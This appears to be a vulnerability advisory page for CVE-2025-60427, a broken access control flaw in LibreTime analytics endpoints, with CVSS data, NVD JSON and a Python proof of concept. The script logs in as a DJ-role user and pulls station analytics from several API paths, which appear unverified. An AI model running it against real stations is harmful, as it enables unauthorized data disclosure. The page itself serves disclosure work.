Security Vulnerability Report
中文
CVE-2025-60427 CVSS 6.5 MEDIUM

CVE-2025-60427

Published: 2025-10-21 18:15:36
Last Modified: 2026-04-15 00:35:42

Description

LibreTime 3.0.0-alpha.10 and possibly earlier is vulnerable to Broken Access Control, where a user with the DJ role can access analytics data via the Web UI and direct API calls. The backend does not verify role-based permissions for analytics endpoints, allowing unauthorized retrieval of station-wide metrics. This results in information disclosure to less privileged users.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

LibreTime <= 3.0.0-alpha.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60427 - LibreTime Analytics Broken Access Control PoC # This PoC demonstrates unauthorized access to analytics endpoints by a DJ-role user import requests # Configuration TARGET_URL = "https://target-libretime-instance.com" DJ_USERNAME = "dj_user" # Low-privilege DJ account DJ_PASSWORD = "dj_password" # Step 1: Authenticate as a DJ-role user to obtain session cookie/token session = requests.Session() login_url = f"{TARGET_URL}/api/v2/auth/login" login_payload = { "username": DJ_USERNAME, "password": DJ_PASSWORD } response = session.post(login_url, json=login_payload) if response.status_code == 200: print("[+] Successfully authenticated as DJ user") auth_token = response.json().get("token") headers = {"Authorization": f"Bearer {auth_token}"} else: print("[-] Authentication failed") exit(1) # Step 2: Attempt to access analytics endpoints (should be admin-only) # These endpoints should reject DJ-role users but due to CVE-2025-60427, they don't analytics_endpoints = [ "/api/v2/analytics/listener-stats", "/api/v2/analytics/station-metrics", "/api/v2/analytics/play-counts", "/api/v2/analytics/schedule-summary" ] for endpoint in analytics_endpoints: url = f"{TARGET_URL}{endpoint}" resp = session.get(url, headers=headers) if resp.status_code == 200: print(f"[+] VULNERABLE: Accessed {endpoint} without admin privileges") print(f" Data: {resp.text[:200]}...") else: print(f"[-] Blocked at {endpoint}: Status {resp.status_code}") # Step 3: Direct API call without UI (demonstrates UI:N - no user interaction needed) print("\n[*] Direct API exploitation (no UI interaction required):") api_url = f"{TARGET_URL}/api/v2/analytics/listener-stats" direct_resp = requests.get(api_url, headers=headers) if direct_resp.status_code == 200: print("[+] Direct API call successful - information disclosure confirmed") print(f" Leaked data sample: {direct_resp.json()}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60427", "sourceIdentifier": "[email protected]", "published": "2025-10-21T18:15:36.307", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreTime 3.0.0-alpha.10 and possibly earlier is vulnerable to Broken Access Control, where a user with the DJ role can access analytics data via the Web UI and direct API calls. The backend does not verify role-based permissions for analytics endpoints, allowing unauthorized retrieval of station-wide metrics. This results in information disclosure to less privileged users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://beafn28.gitbook.io/beafn28/cve/broken-access-control-in-libretime-analytics-endpoints-cve-2025-60427", "source": "[email protected]"}, {"url": "https://github.com/libretime/libretime", "source": "[email protected]"}, {"url": "https://github.com/libretime/libretime/issues/1251", "source": "[email protected]"}]}}